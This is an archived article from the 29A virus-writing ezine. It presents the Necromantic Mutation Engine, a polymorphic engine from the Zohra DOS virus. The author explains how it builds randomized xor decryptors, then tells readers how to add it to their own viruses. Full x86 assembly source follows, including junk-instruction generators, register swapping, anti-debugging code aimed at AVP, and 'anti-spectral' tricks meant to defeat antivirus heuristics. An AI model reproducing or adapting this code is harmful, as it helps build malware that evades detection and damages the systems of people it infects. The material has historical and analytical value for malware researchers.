Copy Link
Add to Bookmark
Report

29A Issue 02 02 06

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; Û²±° The Necromantic Mutation Engine ( NME ) °±²Û
;
; ( used in Zohra virus )
;
; by Wintermute/29A
;
;
; When I started writing this article, I didn't know how to do it; the en-
; gine is full commented in my virus, Zohra, and besides has some things that
; make it nearly impossible to get it out from the virus.
;
; So, I've made a couple things in this article to make it interesting :)
; First, I'm explaining how it works, and how I made it; just thinking about
; it and wondering how would I do this and that ( hope that will help you
; writing your own poly engine if you haven't done one yet... ). After talk-
; ing about that, I'm giving some guidance about how to use the engine, be-
; cause it has some particularities :)
;
;
; 1.- How is this poly engine created ?
;
; What should a poly engine have ? A good poly engine shouldn't just make
; some crap instructions as "cli-sti-lahf-nop" and place them among real ins-
; tructions; a middle-interested user would easily detect something's going
; wrong in that file when he finds 15 useless one byte instructions, and then
; would detect it. So, a list with some instructions/opcodes was made, in or-
; der to use some more kinds of instructions.
;
; Zohra has five groups; one byte instructions, two byte ones, three, four
; bytes, and long routines. Long routines are anti-debugging or anti-spectral
; ones, for example.
;
; So, the idea was to put that instructions among the decryptor ones. That
; decryptor instructions are different in length; three, four bytes... so it
; would last some bytes checking each one and copying it. So, I divided the
; decryptor instructions block in six blocks respectively, which were formed
; by five bytes each one, this way:
;
;
; > mov bp,0200h
; > db 90h,90h ; variable ( junk gen )
;
; > mov si,cs:word ptr [encryptvalue+bp]
;
; > mov cx,virus_size/2
; > db 90h,90h ; variable
;
; > mov di,bp
; > db 90h,90h,90h ; variable
;
; > xor word ptr cs:[di],si
; > db 90h,90h ; variable ( again ! )
;
; > inc di
; > inc di
; > loop loop_dec
; > db 90h ; variable
;
;
; As you see, there are "blanks" in the blocks; that means more fixed by-
; tes, but of course the instructions aren't placed this way on the engine:
; first thing the poly engine does is copying these instructions to a buffer
; in memory and filling the blanks with random bytes from the instruction ge-
; nerators; for example, if there were a three byte blank, the engine would
; fill it with a two byte instruction and a one byte instruction, or with a
; with a three byte instruction, etc.
;
; As you may see, done this there are still many fixed bytes, the real de-
; cryptor instructions. Any AVer could put in his hex searcher something like
; "F7????4D????4E" and easily detect it.
;
; So, next thing in the poly engine are some routines which change the de-
; cryptor instructions: randomly, SI is used instead of DI, the way to load
; CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the
; three SI/DI/CX setting blocks are placed randomly on the decryptor ( it
; doesn't matter their order ).
;
; After making all the changes and setting the decryptor instructions block
; the poly starts working in a zone between the first and the second copy of
; the virus; when loading in memory, it makes this: copies the virus, then
; places a 512 byte buffer, and copies the virus again. The second copy never
; gets executed, it's encrypted by the first one, and the decryptor is made
; between them, so when copying to a file it will grow "512 bytes+virus"...
;
; So, ES:DI points to the 512 bytes buffer to write on it, and a random ge-
; nerator gets running, placing 1 to 4 byte instructions, long routines, or
; the decryptor instructions. Also, the engine checks some things; for exam-
; ple, divides by 6 the total size of the decryptor ( 512 bytes ) and checks
; this with the remaining decryptor instruction blocks, so all the instruc-
; tions are in the decryptor ( and not very near to each other ). Also checks
; the distance between the loop/jz and the xor at the end so it doesn't get
; out of range, and also checks the last bytes to finish the decryptor; for
; example, if there are only three bytes remaining of decryptor, the engine
; will put a three byte instruction, etc.
;
; Finally,... why using long routines ( as an antidebugging one ) ? To a-
; void one couple things. The antidebugging routine is especially made for
; AVP, which tries to decrypt the virus ( and makes it ! ;) because of its
; heuristic method, which fails when there are antidebugging routines and the
; virus isn't decrypted yet ( it decrypts viruses and searches for things li-
; ke mov ax,3d02h/int21h ) };)
;
; About the spectral routines, they're made for one of the analysis which
; antivirus software use to detect poly viruses; they watch the instructions
; in the decryptor, and if all of them seem to be generated by that engine,
; they'll detect the virus. Let's imagine, for example, the "Shitty Mutator"
; uses three one byte instructions to make junk. The antivirus software would
; have these instructions and watch the -e.g.- 256 byte decryptor; if all the
; instructions placed in there are the decryptor itself ones or the three
; different one byte ones, the antivirus tells us a SM based virus is there.
; The method used to avoid it is fairly simple: a check, after a conditional
; jump that is always executed, and then two junk random bytes :)
;
;
; 2.- How to use the engine in your own virus ( hey, you, at least give
; me some credits in it ! :)
;
; About the values you have to set; first, there's a defined value at the
; end of the engine called "encryptvalue" which is the number which will be
; used to encrypt the virus with xor encryption. First, you'll have to en-
; crypt the second copy of your virus, and put your word length encryption
; key into that value called "encryptvalue" ( which is used for the xor ).
;
; "Offset_second" is the virus_length plus 200h, the decryptor length; this
; way, the values changed are changed in the decryptor and not in the non-co-
; pied virus ( wonder why ? ) :-)
;
; "Virus_size" is your virus lenght in bytes.
;
; Of course, you can change the decryptor length, but be careful with that.
; That value is set on "restantes_poly", and is 200h normally; if you change
; this, divisions made by the engine to check if it has to put a decryptor
; instruction on the generator code will fail. So, if you're going to change
; the length, check also the divisions at the zone called "centro_poly" ( po-
; ly_center in spanish ).
;
; Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you;
; it's generated at the end of the first virus copy, just at "virus_size+0h",
; uhm... ah, and it supposes you to have another copy of the virus, of cour-
; se. Come on, it's so easy to get it working when somebody else has written
; it four you first ! ;PPP
;
; Ah, and finally... you'll have to copy the decryptor instructions block
; at the first bytes of your TSR, at the first copy; the instructions in tho-
; se first bytes are useful, cause they're not copied even not executed, so
; they can be overwritten by the decryptor ones.
;
;
; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied

; This first part sets the decryptor variables ( loop pointer, remaining
;instructions and current instruction )
;
; The loop pointer tells where to loop to make the xor "virus_size"
;times, remaining instructions is 200h-done_instructions, and current
;instruction is about which of the six decryptor instructions blocks has
;to be written next.

go_here:

mov word ptr [bytes_referencia],0h
mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],6h ; n.util instrs


; This first part of the poly engine fills the blanks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions. As you see, three blanks can be filled with a three
;bytes instructions, with a two bytes one and a one byte one or with three
;one byte instructions

push cs cs
pop ds es

mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times


mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1

lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb

; This part exchanges 50% times SI and DI registers, which are used in
;the decryptor instructions

call aleatorio
and ah,1
jz dontchangeem
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h
mov word ptr [instrucciones+19h],04646h


dontchangeem:

; Depending on a random value, CX is obtained by the normal way ( mov cx, )
; or with a mov dx,register, mov cx,dx

call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:

; To finish preparing the decrypting routine, we copy the instructions
;that modify SI, DI and CX, and put them randomly; the first time, I
;tried making this pushing and popping instructions... stack overflow ! :-o

push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si

ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes

popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes

popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx


; The modification of the instructions of the decryptor finishes here with
;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible "final loop" exchange is made when writing the
;decryptor

; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.


mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions number
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks if finished
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr: ; If we have 1, 2 or 3 bytes remaining
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3

mov cx,55h ; Do we need to put one of the decryptor
div cl ;instructions ? This is the div to change
inc al ;if you change the decryptor length
cmp byte ptr[numero_instruccion],al
ja @@call_decryptgen

cmp byte ptr[numero_instruccion],1
jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
@continuemos:
call aleatorio ; randomly, place 3 bytes instr,
and ah,1 ;2, routine...
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1: call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4: call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly

@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine


acabamos_decryptor:
ret

instrsize equ instr_end-instr_start

instr_start label byte

; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

mov bp,0200h
db 90h,90h ; variable ( junk gen )

mov si,cs:word ptr [encryptvalue+bp]

mov cx,virus_size/2
db 90h,90h

mov di,bp
db 90h,90h,90h

loop_dec:
xor word ptr cs:[di],si
db 90h,90h

inc di
inc di
loop loop_dec
db 90h


instr_end label byte

;*******************************************
; Decryptor values and data
;--------------------

Restantes_poly: dw 200h ; Remaining instructions counter
Numero_instruccion: db 6 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions


; This returns a random number in AX after making some operations.

aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in AL, the less
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret

; Instructions generators: the required instructions are generated and
;copied in ES:DI, which points to the decryptor in memory

; Main generator: copies a decryptor instruction in ES:DI, with special
;care for the final loop

gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h

mov cx,5 ; copy the instruction
rep movsb
sub word ptr[restantes_poly],5h ; remaining instrs


@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya

@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya

; Generator ----> One byte length instruction generator

inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret

; Generator ----> Two byte length instructions

inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret

@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret

@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio

and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret

; Generator ----> Three byte long instructions

inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret

; Generator ----> Four bytes instructions

inst_4: call aleatorio
mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
mov word ptr es:[di],019b4h ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@q_subbxfuck: mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx: and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem: mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte: cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
inc byte ptr es:[di+1]
@nosvamos_4: ret
@q_seg_sub: mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41: ret

; Generator ----> More than 4 bytes routines

inst_5: call aleatorio ; Anti-spectral routine,
and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
and al,1 ;that will never be executed:
jz @c_seg_prim ;"spectral" is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.

@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret

@c_seg_parte: and al,1
jz @c_seg_seg ; Anti-spectral
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret

@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret

random_number:
ret

encryptvalue: dw 0ffh
wintermute: db 'The Necromantic Mutation Engine by Wintermute/29A',0

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT